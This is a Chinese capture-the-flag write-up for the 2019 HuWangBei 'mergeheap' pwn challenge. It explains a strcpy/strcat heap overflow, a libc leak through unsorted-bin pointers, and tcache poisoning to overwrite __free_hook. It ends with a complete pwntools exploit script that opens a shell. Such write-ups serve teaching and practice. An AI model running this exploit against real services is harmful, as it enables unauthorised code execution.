护网杯2019 mergeheap --pwn

护网又是签到一天

这道题一开始不懂得如何泄露 libc 信息，就蒙了后来群里师傅也是刚刚好做出到这里我就接着做了。

先看下保护，发现全开了

然后就看下流程

大概就是添加 chunk show 合并两个chunk

可利用的洞就是

int merge()
{
  int v1; // ST1C_4
  signed int i; // [rsp+8h] [rbp-18h]
  int index1; // [rsp+Ch] [rbp-14h]
  int index2; // [rsp+10h] [rbp-10h]

  for ( i = 0; i <= 14 && ptr_array[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("idx1:");
  index1 = sub_B8B();
  if ( index1 < 0 || index1 > 14 || !ptr_array[index1] )
    return puts("invalid");
  printf("idx2:");
  index2 = sub_B8B();
  if ( index2 < 0 || index2 > 14 || !ptr_array[index2] )
    return puts("invalid");
  v1 = size_array[index1] + size_array[index2];
  ptr_array[i] = malloc(v1);
  strcpy((char *)ptr_array[i], (const char *)ptr_array[index1]);
  strcat((char *)ptr_array[i], (const char *)ptr_array[index2]);
  size_array[i] = v1;
  return puts("Done");
}

前面的strcpy和strcat的时候只有遇到0才停止复制所以在merge 的时候会有可能把下一chunk的size 复制过来然后溢出修改了下一个chunk的 size

所以可以利用这点去溢出，然后构建好payload ，然后 merge 再 free 再malloc的时候写到一个unsortbin的pre_size 和 size 这样在show的时候就是连带着unsortbin的fd输出了

我看了另一个师傅的 wp

也发现了另一种泄露的方面那个简单而且不麻烦

这个就是填满了 tcache 再分配了一个unsortbin的 chunk 然后free 就是在fd 和bk上写入了main_arena 的上地址，然后再mallo回来的时候把前面的 fd写满就能泄露了

剩下就的获取任意写的能力了那其实也是跟第一种 leak 的方法一样的操作

就是在 merge 分配到的 chunk下面有 tacahe中的 bin ，但是要在tacache中要有两个这样可以形成链式，然后就可以修改前面的size 在free 再malloc 在malloc的时候修改fd的内容这样就能任意地址malloc了再malloc 到 malloc_hook 或者 free_hook 就样就能getshell了

修改之后

malloc 一次

这下再malloc 就ok了

下面贴出 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from pwnpwnpwn import *
from pwn import *
context.log_level = 'debug'
host = "127.0.0.1"
port = 8888

r = remote(host,port)
e = ELF('./mergeheap')
libc = ELF('./libc-2.27.so')
def add(size, content):
    r.recvuntil(">>")
    r.sendline(str(1))
    r.recvuntil("len:")
    r.sendline(str(size))
    r.recvuntil("content:")
    r.sendline(content)

def dele(idx):
    r.recvuntil(">>")
    r.sendline(str(3))
    r.recvuntil("idx:")
    r.sendline(str(idx))

def show(idx):
    r.recvuntil(">>")
    r.sendline(str(2))
    r.recvuntil("idx:")
    r.sendline(str(idx))

def merge(idx1, idx2):
    r.recvuntil(">>")
    r.sendline(str(4))
    r.recvuntil("idx1:")
    r.sendline(str(idx1))
    r.recvuntil("idx2:")
    r.sendline(str(idx2))

puts_got = e.got['puts']
log.info('puts_got:0x%x'%puts_got)
add(0x30, 'a'*0x30)  #0
add(0x38, 'b'*0x38)  #1
add(0x100,'C'*0x10)   #2
add(0x400, 'c'*0x10) #3
add(0x200, 'd'*0x10) #4
add(0x68, 'e'*0x68)  #5
add(0x20,'')#6
add(0x20,'')#7
add(0x20,'')#8
add(0x20,'')#9
dele(7)
dele(8)
merge(3,4)
add(0xa8,'B'*0x68)
dele(7)
dele(5)
merge(0,1)
add(0x30,'a'*0x10)
dele(6)
add(0x100,'a'*0xff+'Q')
show(6)
r.recvuntil("Q")
leak = u64(r.recvuntil("\n",drop = True).ljust(8,'\x00'))
libc_addr = leak -0x3ebca0
log.info('libc: 0x%x'%libc_addr)
dele(6)
target = libc_addr + libc.symbols['__free_hook']-0x13
onegae = libc_addr + 0x4f322
log.info('onegae: 0x%x'%onegae)
add(0x100,'a'*0x60+p64(target)+p64(0))
add(0x20,'')
add(0x20,'a'*0x13+p64(onegae))
dele(0)
r.interactive()

来源：oschina

链接：https://my.oschina.net/u/4328601/blog/3401789

标签

def

Got